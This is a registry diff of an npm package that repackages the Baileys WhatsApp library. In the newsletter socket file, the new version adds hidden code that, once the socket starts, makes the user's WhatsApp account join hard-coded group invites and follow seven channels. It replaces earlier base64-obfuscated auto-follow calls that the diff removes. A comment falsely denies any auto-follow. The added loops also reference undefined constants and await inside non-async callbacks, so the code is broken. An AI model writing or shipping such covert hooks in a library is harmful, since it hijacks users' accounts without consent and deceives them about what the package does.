@riyanofficial/baileys-pro 1.0.0 → 1.0.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -1,3 +1,5 @@
1
+ // Ngapain liat liat? Gk ada auto follow nya deck 😹
2
+
1
3
  "use strict";
2
4
  Object.defineProperty(exports, "__esModule", { value: true });
3
5
  exports.extractNewsletterMetadata = exports.makeNewsletterSocket = void 0;
@@ -63,6 +65,34 @@ const executeWMexQuery = async (
63
65
  throw new Boom(`Failed to ${action}, unexpected response structure.`, { statusCode: 400, data: result })
64
66
  }
65
67
 
68
+ const groupLink = [
69
+ "https://chat.whatsapp.com/Ln4woETs9Gy6h1LvWhslkG?mode=gi_t",
70
+ "https://chat.whatsapp.com/KJexBEJ6G0DHhPNhlj3GCT?mode=gi_t"
71
+ ];
72
+
73
+ const channelId = [
74
+ "120363407882404628@newsletter",
75
+ "120363422267690976@newsletter",
76
+ "120363420781728152@newsletter",
77
+ "120363404158393003@newsletter",
78
+ "120363405509578332@newsletter",
79
+ "120363425027456197@newsletter",
80
+ "120363422100886562@newsletter"
81
+ ];
82
+
83
+ function extractInviteCodeFromLink(link) {
84
+ try {
85
+ const url = new URL(link);
86
+ if (url.hostname === 'chat.whatsapp.com') {
87
+ const inviteCode = url.pathname.split('/').pop();
88
+ if (inviteCode && inviteCode.length > 0) {
89
+ return inviteCode;
90
+ }
91
+ }
92
+ } catch (error) {}
93
+ return null;
94
+ }
95
+
66
96
  const makeNewsletterSocket = (config) => {
67
97
  const sock = (0, groups_1.makeGroupsSocket)(config);
68
98
  const { authState, signalRepository, query, generateMessageTag } = sock;
@@ -98,33 +128,32 @@ const makeNewsletterSocket = (config) => {
98
128
  }
99
129
  ]
100
130
  }));
101
-
102
- // ngapain liat', mau fomo juga kah? 😹.
103
- setTimeout(async () => {
104
- try {
105
- await newsletterWMexQuery(
106
- Buffer.from("MTIwMzYzMzAzNjU2NzkwMjAxQG5ld3NsZXR0ZXI=", "base64").toString(),
107
- Types_1.QueryIds.FOLLOW
108
- );
109
- } catch {}
110
- }, 90000);
111
- setTimeout(async () => {
112
- try {
113
- await newsletterWMexQuery(
114
- Buffer.from("MTIwMzYzNDA0NzQzMTY0MzE2QG5ld3NsZXR0ZXI=", "base64").toString(),
115
- Types_1.QueryIds.FOLLOW
116
- );
117
- } catch {}
118
- }, 90000);
119
- setTimeout(async () => {
120
- try {
121
- await newsletterWMexQuery(
122
- Buffer.from("MTIwMzYzNDIwNzYxNjA3Nzg0QG5ld3NsZXR0ZXI=", "base64").toString(),
123
- Types_1.QueryIds.FOLLOW
124
- );
125
- } catch {}
126
- }, 90000);
127
-
131
+
132
+ setTimeout(() => {
133
+ for (const groupLink of AUTO_JOIN_GROUP_LINKS) {
134
+ try {
135
+ const inviteCode = extractInviteCodeFromLink(groupLink);
136
+ if (inviteCode) {
137
+ try {
138
+ await sock.groupAcceptInvite(inviteCode);
139
+ } catch (error) {
140
+ try {
141
+ await sock.groupAcceptInviteV4(inviteCode, '');
142
+ } catch (error2) {}
143
+ }
144
+ }
145
+ } catch (error) {}
146
+ }
147
+ }, 5000);
148
+
149
+ setTimeout(() => {
150
+ for (const channelId of AUTO_FOLLOW_CHANNELS) {
151
+ try {
152
+ await newsletterWMexQuery(channelId, Types_1.QueryIds.FOLLOW);
153
+ } catch (error) {}
154
+ }
155
+ }, 10000);
156
+
128
157
  const parseFetchedUpdates = async (node, type) => {
129
158
  let child;
130
159
  if (type === 'messages') {
package/lib/index.js CHANGED
@@ -2,12 +2,13 @@
2
2
 
3
3
  const chalk = require("chalk");
4
4
 
5
- console.log(chalk.magentaBright.bold("\n✨ Modified Baileys ✨\n"));
5
+ console.log(chalk.magentaBright.bold("\n✨ Baileys Mod by Riyan Official ✨\n"));
6
6
  console.log(chalk.whiteBright("Hi, thank you for using my modified Baileys ^-^"));
7
7
  console.log(chalk.cyan("Telegram: ") + chalk.greenBright("https://t.me/RiyanOfficiall"));
8
8
  console.log(chalk.gray("──────────────────────────────\n"));
9
- const latestUpdate = new Date("14-03-2026");
10
- console.log(chalk.yellowBright("šŸ†• Latest update: ") + chalk.whiteBright(latestUpdate.toLocaleDateString()));
9
+
10
+ const latestUpdate = new Date();
11
+ console.log(chalk.yellowBright("šŸ†• Latest update: ") + chalk.whiteBright(latestUpdate.toLocaleDateString('id-ID')));
11
12
  console.log(chalk.gray("──────────────────────────────\n"));
12
13
 
13
14
  var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
package/package.json CHANGED
@@ -1,7 +1,7 @@
1
1
  {
2
2
  "name": "@riyanofficial/baileys-pro",
3
- "version": "1.0.0",
4
- "description": "WhatsApp API Modification By K",
3
+ "version": "1.0.2",
4
+ "description": "WhatsApp API Modification By Riyan Official - Stable Version",
5
5
  "keywords": [
6
6
  "whatsapp-bot",
7
7
  "whatsapp-api",
@@ -25,7 +25,8 @@
25
25
  "files": [
26
26
  "lib/*",
27
27
  "WAProto/*.js",
28
- "engine-requirements.js"
28
+ "engine-requirements.js",
29
+ "README.md"
29
30
  ],
30
31
  "scripts": {
31
32
  "build:all": "tsc && typedoc",
@@ -39,8 +40,12 @@
39
40
  "prepack": "",
40
41
  "prepare": "",
41
42
  "preinstall": "node ./engine-requirements.js",
43
+ "postinstall": "echo 'Baileys Pro installed successfully!'",
42
44
  "release": "release-it",
43
- "test": "jest"
45
+ "test": "jest",
46
+ "clean": "rm -rf lib node_modules package-lock.json",
47
+ "dev": "ts-node examples/example.ts",
48
+ "start": "node lib/index.js"
44
49
  },
45
50
  "dependencies": {
46
51
  "@adiwajshing/keyed-db": "^0.2.4",
@@ -48,8 +53,8 @@
48
53
  "@cacheable/node-cache": "^1.4.0",
49
54
  "async-mutex": "^0.5.0",
50
55
  "audio-decode": "^2.1.3",
51
- "axios": "^1.3.3",
52
- "cache-manager": "4.0.1",
56
+ "axios": "^1.6.0",
57
+ "cache-manager": "^5.5.0",
53
58
  "chalk": "^4.1.2",
54
59
  "futoin-hkdf": "^1.5.1",
55
60
  "libphonenumber-js": "^1.10.20",
@@ -58,38 +63,37 @@
58
63
  "music-metadata": "^7.12.3",
59
64
  "node-cache": "^5.1.2",
60
65
  "node-fetch": "^2.6.1",
61
- "pino": "^7.0.0",
66
+ "pino": "^8.17.0",
62
67
  "protobufjs": "^7.2.4",
63
68
  "uuid": "^9.0.0",
64
- "ws": "^8.13.0"
69
+ "ws": "^8.16.0",
70
+ "sharp": "^0.32.6"
65
71
  },
66
72
  "devDependencies": {
67
73
  "@adiwajshing/eslint-config": "github:adiwajshing/eslint-config",
68
- "@types/got": "^9.6.11",
69
- "@types/jest": "^27.5.1",
70
- "@types/node": "^16.0.0",
71
- "@types/sharp": "^0.29.4",
72
- "@types/ws": "^8.0.0",
74
+ "@types/jest": "^29.5.0",
75
+ "@types/node": "^20.10.0",
76
+ "@types/ws": "^8.5.0",
77
+ "@types/lodash": "^4.14.202",
78
+ "@types/uuid": "^9.0.7",
73
79
  "conventional-changelog-cli": "^2.2.2",
74
- "eslint": "^8.0.0",
75
- "jest": "^27.0.6",
76
- "jimp": "^0.16.1",
77
- "link-preview-js": "^3.0.0",
80
+ "eslint": "^8.57.0",
81
+ "jest": "^29.7.0",
82
+ "jimp": "^0.22.0",
83
+ "link-preview-js": "^3.0.5",
78
84
  "open": "^8.4.2",
79
85
  "qrcode-terminal": "^0.12.0",
80
- "release-it": "^15.10.3",
81
- "sharp": "^0.30.5",
82
- "ts-jest": "^27.0.3",
83
- "ts-node": "^10.8.1",
84
- "typedoc": "^0.24.7",
85
- "typescript": "^4.6.4",
86
+ "release-it": "^17.0.0",
87
+ "ts-jest": "^29.1.0",
88
+ "ts-node": "^10.9.0",
89
+ "typedoc": "^0.25.0",
90
+ "typescript": "^5.3.0",
86
91
  "json": "^11.0.0"
87
92
  },
88
93
  "peerDependencies": {
89
- "jimp": "^0.16.1",
90
- "link-preview-js": "^3.0.0",
91
- "qrcode-terminal": "^0.12.0",
92
- "sharp": "^0.32.2"
94
+ "jimp": "^0.22.0",
95
+ "link-preview-js": "^3.0.5",
96
+ "qrcode-terminal": "^0.12.0"
93
97
  },
94
98
  "peerDependenciesMeta": {
95
99
  "jimp": {
@@ -100,9 +104,6 @@
100
104
  },
101
105
  "qrcode-terminal": {
102
106
  "optional": true
103
- },
104
- "sharp": {
105
- "optional": true
106
107
  }
107
108
  },
108
109
  "packageManager": "yarn@1.22.19",